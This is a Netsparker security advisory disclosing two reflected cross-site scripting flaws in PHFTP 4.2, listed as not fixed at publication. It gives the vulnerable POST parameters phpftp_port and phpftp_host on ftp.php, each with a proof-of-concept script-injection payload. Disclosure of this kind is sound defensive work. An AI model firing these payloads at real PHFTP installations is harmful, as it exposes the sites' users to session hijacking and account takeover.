Advisory by Netsparker
Name: Multiple Reflected XSS Vulnerabilities in PHFTP
Affected Software : PHFTP
Affected Versions: 4.2
Vendor Homepage : 
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Not Fixed
Netsparker Advisory Reference : NS-17-025

Technical Details

Proof of Concept URLs for XSS vulnerabilities in PHFTP 4.2;

Url /phftp_42/ftp.php
Parameter Name phpftp_port
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x000156)</scRipt>

Url /phftp_42/ftp.php
Parameter Name phpftp_host
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x00014A)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
01 Feb 2017 - Issue reported.
12 Jun 2017 - Advisory released.

No solution available at the time of publishing this advisory.

Credits & Authors
These issues have been discovered by Enes Aslanbakan while testing Netsparker Web Application Security Scanner.

About Netsparker
Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine's unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Enterprise. Visit our website for more information.